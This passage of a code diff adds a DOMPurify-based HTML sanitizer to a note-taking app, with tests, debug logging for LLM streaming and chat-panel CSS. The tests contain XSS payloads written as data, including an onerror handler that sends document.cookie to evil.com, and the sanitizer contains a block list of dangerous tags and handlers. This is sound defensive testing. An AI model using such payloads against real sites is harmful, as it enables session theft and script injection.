+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves links with href", () => {
+        const html = '<a href="https://example.com">Link</a>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves internal note links with data attributes", () => {
+        const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="reference-link"');
+        expect(result).toContain('href="#root/abc123"');
+        expect(result).toContain('data-note-path="root/abc123"');
+        expect(result).toContain(">My Note</a>");
+    });
+
+    it("preserves images with src", () => {
+        const html = '<img src="api/images/abc123/image.png" alt="test">';
+        expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
+    });
+
+    it("preserves tables", () => {
+        const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves code blocks", () => {
+        const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves include-note sections with data-note-id", () => {
+        const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="include-note"');
+        expect(result).toContain('data-note-id="abc123"');
+        expect(result).toContain("&nbsp;</section>");
+    });
+
+    it("preserves figure and figcaption", () => {
+        const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
+        expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
+        expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
+    });
+
+    it("preserves task list checkboxes", () => {
+        const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('type="checkbox"');
+        expect(result).toContain("checked");
+    });
+
+    it("preserves inline styles for colors", () => {
+        const html = '<span style="color: red;">Red text</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("style");
+        expect(result).toContain("color");
+    });
+
+    it("preserves data-* attributes", () => {
+        const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('data-custom-attr="value"');
+        expect(result).toContain('data-note-id="abc"');
+    });
+
+    // --- Blocks XSS vectors ---
+
+    it("strips script tags", () => {
+        const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+        expect(result).toContain("<p>Hello</p>");
+        expect(result).toContain("<p>World</p>");
+    });
+
+    it("strips onerror event handlers on images", () => {
+        const html = '<img src="x" onerror="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onclick event handlers", () => {
+        const html = '<div onclick="alert(1)">Click me</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onclick");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onload event handlers", () => {
+        const html = '<img src="x" onload="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onload");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onmouseover event handlers", () => {
+        const html = '<span onmouseover="alert(1)">Hover</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onmouseover");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onfocus event handlers", () => {
+        const html = '<input onfocus="alert(1)" autofocus>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onfocus");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips javascript: URIs in href", () => {
+        const html = '<a href="javascript:alert(1)">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips javascript: URIs in img src", () => {
+        const html = '<img src="javascript:alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips iframe tags", () => {
+        const html = '<iframe src="https://evil.com"></iframe>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<iframe");
+    });
+
+    it("strips object tags", () => {
+        const html = '<object data="evil.swf"></object>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<object");
+    });
+
+    it("strips embed tags", () => {
+        const html = '<embed src="evil.swf">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<embed");
+    });
+
+    it("strips style tags", () => {
+        const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<style");
+        expect(result).toContain("<p>Text</p>");
+    });
+
+    it("strips SVG with embedded script", () => {
+        const html = '<svg><script>alert(1)</script></svg>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips meta tags", () => {
+        const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<meta");
+    });
+
+    it("strips base tags", () => {
+        const html = '<base href="https://evil.com/"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<base");
+    });
+
+    it("strips link tags", () => {
+        const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<link");
+    });
+
+    // --- Edge cases ---
+
+    it("handles empty string", () => {
+        expect(sanitizeNoteContentHtml("")).toBe("");
+    });
+
+    it("handles null-like falsy values", () => {
+        expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
+        expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
+    });
+
+    it("handles nested XSS attempts", () => {
+        const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("fetch");
+        expect(result).not.toContain("cookie");
+        expect(result).toContain("Safe");
+        expect(result).toContain("Also safe");
+    });
+
+    it("handles case-varied event handlers", () => {
+        const html = '<img src="x" ONERROR="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result.toLowerCase()).not.toContain("onerror");
+    });
+
+    it("strips dangerous data: URI on anchor elements", () => {
+        const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        // DOMPurify should either strip the href or remove the dangerous content
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert(1)");
+    });
+
+    it("allows data: URI on image elements", () => {
+        const html = '<img src="data:image/png;base64,iVBOR...">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("data:image/png");
+    });
+
+    it("strips template tags which could contain scripts", () => {
+        const html = '<template><script>alert(1)</script></template>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("<template");
+    });
+});

apps/client/src/services/sanitize_content.ts

@@ -0,0 +1,161 @@
+/**
+ * Client-side HTML sanitization for note content rendering.
+ *
+ * This module provides sanitization of HTML content before it is injected into
+ * the DOM, preventing stored XSS attacks. Content written through non-CKEditor
+ * paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
+ * handlers, or other XSS vectors that must be stripped before rendering.
+ *
+ * Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
+ * dependency of this project (via mermaid).
+ *
+ * The configuration is intentionally permissive for rich-text formatting
+ * (bold, italic, headings, tables, images, links, etc.) while blocking
+ * script execution vectors (script tags, event handlers, javascript: URIs,
+ * data: URIs on non-image elements, etc.).
+ */
+import DOMPurify from "dompurify";
+
+/**
+ * Tags allowed in sanitized note content. This mirrors the server-side
+ * SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
+ * tags needed for CKEditor content rendering (e.g. <section> for included
+ * notes, <figure>/<figcaption> for images and tables).
+ *
+ * Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
+ * <input> (except checkbox via specific attribute allowance), <link>, <meta>.
+ */
+const ALLOWED_TAGS = [
+    // Headings
+    "h1", "h2", "h3", "h4", "h5", "h6",
+    // Block elements
+    "blockquote", "p", "div", "pre", "section", "article", "aside",
+    "header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
+    // Lists
+    "ul", "ol", "li", "dl", "dt", "dd", "menu",
+    // Inline formatting
+    "a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
+    "abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
+    "small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
+    "cite", "acronym", "data", "rp",
+    // Tables
+    "table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
+    "col", "colgroup",
+    // Media
+    "img", "figure", "figcaption", "video", "audio", "picture",
+    "area", "map", "track",
+    // Separators
+    "hr", "br",
+    // Interactive (limited)
+    "label", "input",
+    // Other
+    "span",
+    // CKEditor specific
+    "en-media"
+];
+
+/**
+ * Attributes allowed on sanitized elements. DOMPurify uses a flat list
+ * of allowed attribute names that apply to all elements.
+ */
+const ALLOWED_ATTR = [
+    // Common
+    "class", "style", "title", "id", "dir", "lang", "tabindex",
+    "spellcheck", "translate", "hidden",
+    // Links
+    "href", "target", "rel",
+    // Images & media
+    "src", "alt", "width", "height", "loading", "srcset", "sizes",
+    "controls", "autoplay", "loop", "muted", "preload", "poster",
+    // Data attributes (CKEditor uses these extensively)
+    // DOMPurify allows data-* by default when ADD_ATTR includes them
+    // Tables
+    "colspan", "rowspan", "scope", "headers",
+    // Input (for checkboxes in task lists)
+    "type", "checked", "disabled",
+    // Misc
+    "align", "valign", "center",
+    "open", // for <details>
+    "datetime", // for <time>, <del>, <ins>
+    "cite" // for <blockquote>, <del>, <ins>
+];
+
+/**
+ * URI-safe protocols allowed in href/src attributes.
+ * Blocks javascript:, vbscript:, and other dangerous schemes.
+ */
+// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
+// which restricts data: URIs to only <img> elements.
+const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
+
+/**
+ * DOMPurify configuration for sanitizing note content.
+ */
+const PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS,
+    ALLOWED_ATTR,
+    ALLOWED_URI_REGEXP,
+    // Allow data-* attributes (used extensively by CKEditor)
+    ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
+               "data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
+    // Do not allow <style> or <script> tags
+    FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
+                  "base", "noscript", "template"],
+    // Do not allow event handler attributes
+    FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
+                  "onblur", "onsubmit", "onreset", "onchange", "oninput",
+                  "onkeydown", "onkeyup", "onkeypress", "onmousedown",
+                  "onmouseup", "onmousemove", "onmouseout", "onmouseenter",
+                  "onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
+                  "ondrag", "ondragend", "ondragenter", "ondragleave",
+                  "ondragover", "ondragstart", "ondrop", "onscroll",
+                  "oncopy", "oncut", "onpaste", "onanimationend",
+                  "onanimationiteration", "onanimationstart",
+                  "ontransitionend", "onpointerdown", "onpointerup",
+                  "onpointermove", "onpointerover", "onpointerout",
+                  "onpointerenter", "onpointerleave", "ontouchstart",
+                  "ontouchend", "ontouchmove", "ontouchcancel"],
+    // Allow data: URIs only for images (needed for inline images)
+    ADD_DATA_URI_TAGS: ["img"],
+    // Return a string
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false,
+    // Keep the document structure intact
+    WHOLE_DOCUMENT: false,
+    // Allow target attribute on links
+    ADD_TAGS: []
+};
+
+// Configure a DOMPurify hook to handle data-* attributes more broadly
+// since CKEditor uses many custom data attributes.
+DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
+    // Allow all data-* attributes
+    if (data.attrName.startsWith("data-")) {
+        data.forceKeepAttr = true;
+    }
+});
+
+/**
+ * Sanitizes HTML content for safe rendering in the DOM.
+ *
+ * This function should be called on all user-provided HTML content before
+ * inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
+ * or Element.innerHTML.
+ *
+ * The sanitizer preserves rich-text formatting produced by CKEditor
+ * (bold, italic, links, tables, images, code blocks, etc.) while
+ * stripping XSS vectors (script tags, event handlers, javascript: URIs).
+ *
+ * @param dirtyHtml - The untrusted HTML string to sanitize.
+ * @returns A sanitized HTML string safe for DOM insertion.
+ */
+export function sanitizeNoteContentHtml(dirtyHtml: string): string {
+    if (!dirtyHtml) {
+        return dirtyHtml;
+    }
+    return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
+}
+
+export default {
+    sanitizeNoteContentHtml
+};

apps/client/src/services/utils.ts

@@ -14,9 +14,7 @@ export function reloadFrontendApp(reason?: string) {
     }
 
     if (isElectron()) {
-        for (const window of dynamicRequire("@electron/remote").BrowserWindow.getAllWindows()) {
-            window.reload();
-        }
+        dynamicRequire("@electron/remote").BrowserWindow.getFocusedWindow()?.reload();
     } else {
         window.location.reload();
     }

apps/client/src/services/ws.ts

@@ -133,6 +133,49 @@ async function handleMessage(event: MessageEvent<any>) {
         appContext.triggerEvent("apiLogMessages", { noteId: message.noteId, messages: message.messages });
     } else if (message.type === "toast") {
         toastService.showMessage(message.message);
+    } else if (message.type === "llm-stream") {
+        // ENHANCED LOGGING FOR DEBUGGING
+        console.log(`[WS-CLIENT] >>> RECEIVED LLM STREAM MESSAGE <<<`);
+        console.log(`[WS-CLIENT] Message details: sessionId=${message.sessionId}, hasContent=${!!message.content}, contentLength=${message.content ? message.content.length : 0}, hasThinking=${!!message.thinking}, hasToolExecution=${!!message.toolExecution}, isDone=${!!message.done}`);
+
+        if (message.content) {
+            console.log(`[WS-CLIENT] CONTENT PREVIEW: "${message.content.substring(0, 50)}..."`);
+        }
+
+        // Create the event with detailed logging
+        console.log(`[WS-CLIENT] Creating CustomEvent 'llm-stream-message'`);
+        const llmStreamEvent = new CustomEvent('llm-stream-message', { detail: message });
+
+        // Dispatch to multiple targets to ensure delivery
+        try {
+            console.log(`[WS-CLIENT] Dispatching event to window`);
+            window.dispatchEvent(llmStreamEvent);
+            console.log(`[WS-CLIENT] Event dispatched to window`);
+
+            // Also try document for completeness
+            console.log(`[WS-CLIENT] Dispatching event to document`);
+            document.dispatchEvent(new CustomEvent('llm-stream-message', { detail: message }));
+            console.log(`[WS-CLIENT] Event dispatched to document`);
+        } catch (err) {
+            console.error(`[WS-CLIENT] Error dispatching event:`, err);
+        }
+
+        // Debug current listeners (though we can't directly check for specific event listeners)
+        console.log(`[WS-CLIENT] Active event listeners should receive this message now`);
+
+        // Detailed logging based on message type
+        if (message.content) {
+            console.log(`[WS-CLIENT] Content message: ${message.content.length} chars`);
+        } else if (message.thinking) {
+            console.log(`[WS-CLIENT] Thinking update: "${message.thinking}"`);
+        } else if (message.toolExecution) {
+            console.log(`[WS-CLIENT] Tool execution: action=${message.toolExecution.action}, tool=${message.toolExecution.tool || 'unknown'}`);
+            if (message.toolExecution.result) {
+                console.log(`[WS-CLIENT] Tool result preview: "${String(message.toolExecution.result).substring(0, 50)}..."`);
+            }
+        } else if (message.done) {
+            console.log(`[WS-CLIENT] Completion signal received`);
+        }
     } else if (message.type === "execute-script") {
         // TODO: Remove after porting the file
         // @ts-ignore

apps/client/src/stylesheets/llm_chat.css

@@ -0,0 +1,450 @@
+/* LLM Chat Panel Styles */
+.note-context-chat {
+    background-color: var(--main-background-color);
+}
+
+/* Message Styling */
+.chat-message {
+    margin-bottom: 1rem;
+}
+
+.message-avatar {
+    width: 36px;
+    height: 36px;
+    border-radius: 50%;
+    font-size: 1.25rem;
+    flex-shrink: 0;
+}
+
+.user-avatar {
+    background-color: var(--input-background-color);
+    color: var(--cmd-button-icon-color);
+}
+
+.assistant-avatar {
+    background-color: var(--subtle-border-color, var(--main-border-color));
+    color: var(--hover-item-text-color);
+}
+
+.message-content {
+    max-width: calc(100% - 50px);
+    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
+    color: var(--main-text-color);
+}
+
+.user-content {
+    border-radius: 0.5rem 0.5rem 0 0.5rem !important;
+    background-color: var(--input-background-color) !important;
+}
+
+.assistant-content {
+    border-radius: 0.5rem 0.5rem 0.5rem 0 !important;
+    background-color: var(--main-background-color);
+    border: 1px solid var(--subtle-border-color, var(--main-border-color));
+}
+
+/* Tool Execution Styling */
+.tool-execution-info {
+    margin-top: 0.75rem;
+    margin-bottom: 1.5rem;
+    border: 1px solid var(--subtle-border-color);
+    border-radius: 0.5rem;
+    overflow: hidden;
+    box-shadow: 0 1px 4px rgba(0, 0, 0, 0.05);
+    background-color: var(--main-background-color);
+    /* Add a subtle transition effect */
+    transition: all 0.2s ease-in-out;
+}
+
+.tool-execution-status {
+    background-color: var(--accented-background-color, rgba(0, 0, 0, 0.03)) !important;
+    border-radius: 0 !important;
+    padding: 0.5rem !important;
+    max-height: 250px !important;
+    overflow-y: auto;
+}
+
+.tool-execution-status .d-flex {
+    border-bottom: 1px solid var(--subtle-border-color);
+    padding-bottom: 0.5rem;
+    margin-bottom: 0.5rem;
+}
+
+.tool-step {
+    padding: 0.5rem;
+    margin-bottom: 0.75rem;
+    border-radius: 0.375rem;
+    background-color: var(--main-background-color);
+    border: 1px solid var(--subtle-border-color);
+    transition: background-color 0.2s ease;
+}
+
+.tool-step:hover {
+    background-color: rgba(0, 0, 0, 0.01);
+}
+
+.tool-step:last-child {
+    margin-bottom: 0;
+}
+
+/* Tool step specific styling */
+.tool-step.executing {
+    background-color: rgba(0, 123, 255, 0.05);
+    border-color: rgba(0, 123, 255, 0.2);
+}
+
+.tool-step.result {
+    background-color: rgba(40, 167, 69, 0.05);
+    border-color: rgba(40, 167, 69, 0.2);
+}
+
+.tool-step.error {
+    background-color: rgba(220, 53, 69, 0.05);
+    border-color: rgba(220, 53, 69, 0.2);
+}
+
+/* Tool result formatting */
+.tool-result pre {
+    margin: 0.5rem 0;
+    padding: 0.5rem;
+    background-color: rgba(0, 0, 0, 0.03);
+    border-radius: 0.25rem;
+    overflow: auto;
+    max-height: 300px;
+}
+
+.tool-result code {
+    font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace;
+    font-size: 0.9em;
+}
+
+.tool-args code {
+    display: block;
+    padding: 0.5rem;
+    background-color: rgba(0, 0, 0, 0.03);
+    border-radius: 0.25rem;
+    margin-top: 0.25rem;
+    font-size: 0.85em;
+    color: var(--muted-text-color);
+    white-space: pre-wrap;
+    overflow: auto;
+    max-height: 100px;
+}
+
+/* Tool Execution in Chat Styling */
+.chat-tool-execution {
+    padding: 0 0 0 36px; /* Aligned with message content, accounting for avatar width */
+    width: 100%;
+    margin-bottom: 1rem;
+}
+
+.tool-execution-container {
+    background-color: var(--accented-background-color, rgba(245, 247, 250, 0.7));
+    border: 1px solid var(--subtle-border-color);
+    border-radius: 0.375rem;
+    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
+    overflow: hidden;
+    max-width: calc(100% - 20px);
+    transition: all 0.3s ease;
+}
+
+.tool-execution-container.collapsed {
+    display: none;
+}
+
+.tool-execution-header {
+    background-color: var(--main-background-color);
+    border-bottom: 1px solid var(--subtle-border-color);
+    margin-bottom: 0.5rem;
+    color: var(--muted-text-color);
+    font-weight: 500;
+    padding: 0.6rem 0.8rem;
+    cursor: pointer;
+    transition: background-color 0.2s ease;
+}
+
+.tool-execution-header:hover {
+    background-color: var(--hover-item-background-color, rgba(0, 0, 0, 0.03));
+}
+
+.tool-execution-toggle {
+    color: var(--muted-text-color) !important;
+    background: transparent !important;
+    padding: 0.2rem 0.4rem !important;
+    transition: transform 0.2s ease;
+}
+
+.tool-execution-toggle:hover {
+    color: var(--main-text-color) !important;
+}
+
+.tool-execution-toggle i.bx-chevron-down {
+    transform: rotate(0deg);
+    transition: transform 0.3s ease;
+}
+
+.tool-execution-toggle i.bx-chevron-right {
+    transform: rotate(-90deg);
+    transition: transform 0.3s ease;
+}
+
+.tool-execution-chat-steps {
+    padding: 0.5rem;
+    max-height: 300px;
+    overflow-y: auto;
+}
+
+/* Make error text more visible */
+.text-danger {
+    color: #dc3545 !important;
+}
+
+/* Sources Styling */
+.sources-container {
+    background-color: var(--accented-background-color, var(--main-background-color));
+    border-top: 1px solid var(--main-border-color);
+    color: var(--main-text-color);
+}
+
+.source-item {
+    transition: all 0.2s ease;
+    background-color: var(--main-background-color);
+    border-color: var(--subtle-border-color, var(--main-border-color)) !important;
+}
+
+.source-item:hover {
+    background-color: var(--link-hover-background, var(--hover-item-background-color));
+}
+
+.source-link {
+    color: var(--link-color, var(--hover-item-text-color));
+    text-decoration: none;
+    display: block;
+    width: 100%;
+}
+
+.source-link:hover {
+    color: var(--link-hover-color, var(--hover-item-text-color));
+}
+
+/* Input Area Styling */
+.note-context-chat-form {
+    background-color: var(--main-background-color);
+    border-top: 1px solid var(--main-border-color);
+}
+
+.context-option-container {
+    padding: 0.5rem 0;
+    border-bottom: 1px solid var(--subtle-border-color, var(--main-border-color));
+    color: var(--main-text-color);
+}
+
+.chat-input-container {
+    padding-top: 0.5rem;
+}
+
+.note-context-chat-input {
+    border-color: var(--subtle-border-color, var(--main-border-color));
+    background-color: var(--input-background-color) !important;
+    color: var(--input-text-color) !important;
+    resize: none;
+    transition: all 0.2s ease;
+    min-height: 50px;
+    max-height: 150px;
+}
+
+.note-context-chat-input:focus {
+    border-color: var(--input-focus-outline-color, var(--main-border-color));
+    box-shadow: 0 0 0 0.25rem var(--input-focus-outline-color, rgba(13, 110, 253, 0.25));
+}
+
+.note-context-chat-send-button {
+    width: 40px;
+    height: 40px;
+    align-self: flex-end;
+    background-color: var(--cmd-button-background-color) !important;
+    color: var(--cmd-button-text-color) !important;
+}
+
+/* Loading Indicator */
+.loading-indicator {
+    align-items: center;
+    justify-content: center;
+    padding: 1rem;
+    color: var(--muted-text-color);
+}
+
+/* Thinking display styles */
+.llm-thinking-container {
+    margin: 1rem 0;
+    animation: fadeInUp 0.3s ease-out;
+}
+
+.thinking-bubble {
+    background-color: var(--accented-background-color, var(--main-background-color));
+    border: 1px solid var(--subtle-border-color, var(--main-border-color));
+    border-radius: 0.75rem;
+    padding: 0.75rem;
+    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
+    position: relative;
+    overflow: hidden;
+    transition: all 0.2s ease;
+}
+
+.thinking-bubble:hover {
+    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);
+}
+
+.thinking-bubble::before {
+    content: '';
+    position: absolute;
+    top: 0;
+    inset-inline-start: -100%;
+    width: 100%;
+    height: 100%;
+    background: linear-gradient(90deg, transparent, var(--hover-item-background-color, rgba(0, 0, 0, 0.03)), transparent);
+    animation: shimmer 2s infinite;
+    opacity: 0.5;
+}
+
+.thinking-header {
+    cursor: pointer;
+    transition: all 0.2s ease;
+    border-radius: 0.375rem;
+}
+
+.thinking-header:hover {
+    background-color: var(--hover-item-background-color, rgba(0, 0, 0, 0.03));
+    padding: 0.25rem;
+    margin: -0.25rem;
+}
+
+.thinking-dots {
+    display: flex;
+    gap: 3px;
+    align-items: center;
+}
+
+.thinking-dots span {
+    width: 6px;
+    height: 6px;
+    background-color: var(--link-color, var(--hover-item-text-color));
+    border-radius: 50%;
+    animation: thinkingPulse 1.4s infinite ease-in-out;
+}
+
+.thinking-dots span:nth-child(1) {
+    animation-delay: -0.32s;
+}
+
+.thinking-dots span:nth-child(2) {
+    animation-delay: -0.16s;
+}
+
+.thinking-dots span:nth-child(3) {
+    animation-delay: 0s;
+}
+
+.thinking-label {
+    font-weight: 500;
+    color: var(--link-color, var(--hover-item-text-color)) !important;
+}
+
+.thinking-toggle {
+    color: var(--muted-text-color) !important;
+    transition: transform 0.2s ease;
+    background: transparent !important;
+    border: none !important;
+}
+
+.thinking-toggle:hover {
+    color: var(--main-text-color) !important;
+}
+
+.thinking-toggle.expanded {
+    transform: rotate(180deg);
+}
+
+.thinking-content {
+    margin-top: 0.75rem;
+    padding-top: 0.75rem;
+    border-top: 1px solid var(--subtle-border-color, var(--main-border-color));
+    animation: expandDown 0.3s ease-out;
+}
+
+.thinking-text {
+    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
+    font-size: 0.875rem;
+    line-height: 1.5;
+    color: var(--main-text-color);
+    white-space: pre-wrap;
+    word-wrap: break-word;
+    background-color: var(--input-background-color);
+    padding: 0.75rem;
+    border-radius: 0.5rem;
+    border: 1px solid var(--subtle-border-color, var(--main-border-color));
+    max-height: 300px;
+    overflow-y: auto;
+    transition: border-color 0.2s ease;
+}
+
+.thinking-text:hover {
+    border-color: var(--main-border-color);
+}
+
+/* Animations */
+@keyframes thinkingPulse {
+    0%, 80%, 100% {
+        transform: scale(0.8);
+        opacity: 0.6;
+    }
+    40% {
+        transform: scale(1);
+        opacity: 1;
+    }
+}
+
+@keyframes shimmer {
+    0% {
+        inset-inline-start: -100%;
+    }
+    100% {
+        inset-inline-start: 100%;
+    }
+}
+
+@keyframes fadeInUp {
+    from {
+        opacity: 0;
+        transform: translateY(10px);
+    }
+    to {
+        opacity: 1;
+        transform: translateY(0);
+    }
+}
+
+@keyframes expandDown {
+    from {
+        opacity: 0;
+        max-height: 0;
+    }
+    to {
+        opacity: 1;
+        max-height: 300px;
+    }
+}
+
+/* Responsive adjustments */
+@media (max-width: 768px) {
+    .thinking-bubble {
+        margin: 0.5rem 0;
+        padding: 0.5rem;
+    }
+    
+    .thinking-text {
+        font-size: 0.8rem;
+        padding: 0.5rem;
+        max-height: 200px;
+    }
+} 

apps/client/src/stylesheets/theme-next-dark.css

@@ -314,8 +314,7 @@
  */
 
 #left-pane .fancytree-node.tinted,
-.nested-note-list-item.use-note-color,
-.note-book-card .note-book-header.use-note-color {
+.nested-note-list-item.use-note-color {
     --custom-color: var(--dark-theme-custom-color);
 
     /* The background color of the active item in the note tree.
@@ -366,8 +365,7 @@ body .todo-list input[type="checkbox"]:not(:checked):before {
 
 .note-split.with-hue,
 .quick-edit-dialog-wrapper.with-hue,
-.nested-note-list-item.with-hue,
-.note-book-card.with-hue .note-book-header {
+.nested-note-list-item.with-hue {
     --note-icon-custom-background-color: hsl(var(--custom-color-hue), 15.8%, 30.9%);
     --note-icon-custom-color: hsl(var(--custom-color-hue), 100%, 76.5%);
     --note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 28.3%, 36.7%);
@@ -377,8 +375,3 @@ body .todo-list input[type="checkbox"]:not(:checked):before {
 .quick-edit-dialog-wrapper.with-hue *::selection {
     --selection-background-color: hsl(var(--custom-color-hue), 49.2%, 35%);
 }
-
-.note-book-card.with-hue {
-    --card-background-color: hsl(var(--custom-color-hue), 6%, 21%);
-    --card-background-hover-color: hsl(var(--custom-color-hue), 8%, 25%);
-}

apps/client/src/stylesheets/theme-next-light.css

@@ -308,8 +308,7 @@
 }
 
 #left-pane .fancytree-node.tinted,
-.nested-note-list-item.use-note-color,
-.note-book-card .note-book-header.use-note-color {
+.nested-note-list-item.use-note-color {
     --custom-color: var(--light-theme-custom-color);
 
     /* The background color of the active item in the note tree.
@@ -336,8 +335,7 @@
 
 .note-split.with-hue,
 .quick-edit-dialog-wrapper.with-hue,
-.nested-note-list-item.with-hue,
-.note-book-card.with-hue .note-book-header {
+.nested-note-list-item.with-hue {
     --note-icon-custom-background-color: hsl(var(--custom-color-hue), 44.5%, 43.1%);
     --note-icon-custom-color: hsl(var(--custom-color-hue), 91.3%, 91%);
     --note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 55.1%, 50.2%);
@@ -347,8 +345,3 @@
 .quick-edit-dialog-wrapper.with-hue *::selection {
     --selection-background-color: hsl(var(--custom-color-hue), 60%, 90%);
 }
-
-.note-book-card.with-hue {
-    --card-background-color: hsl(var(--custom-color-hue), 21%, 94%);
-    --card-background-hover-color: hsl(var(--custom-color-hue), 21%, 87%);
-}

apps/client/src/stylesheets/theme-next/base.css

@@ -643,6 +643,139 @@ li.dropdown-item a.dropdown-item-button:focus-visible {
     transform: translateY(4%);
 }
 
+/*
+ * NOTE LIST
+ */
+
+ .note-list .note-book-card {
+    --note-list-horizontal-padding: 22px;
+    --note-list-vertical-padding: 15px;
+    background-color: var(--card-background-color);
+    border: 1px solid var(--card-border-color) !important;
+    border-radius: 12px;
+    user-select: none;
+    padding: 0;
+    margin: 5px 10px 5px 0;
+}
+
+:root .note-list .note-book-card:hover {
+    background-color: var(--card-background-hover-color);
+    transition: background-color 200ms ease-out;
+}
+
+:root .note-list.grid-view .note-book-card:active {
+    transform: scale(.98);
+}
+
+.note-list.list-view .note-book-card {
+    box-shadow: 0 0 3px var(--card-shadow-color);
+}
+
+.note-list.list-view .note-book-card .note-book-header .note-icon {
+    vertical-align: middle;
+}
+
+.note-list-wrapper .note-book-card a {
+    color: inherit !important;
+}
+
+.note-list-wrapper .note-book-card .note-book-header {
+    font-size: 1em;
+    font-weight: bold;
+    padding: 0.5em 1rem;
+    border-bottom-color: var(--card-border-color);
+}
+
+.note-list-wrapper .note-book-card .note-book-header .note-icon {
+    font-size: 17px;
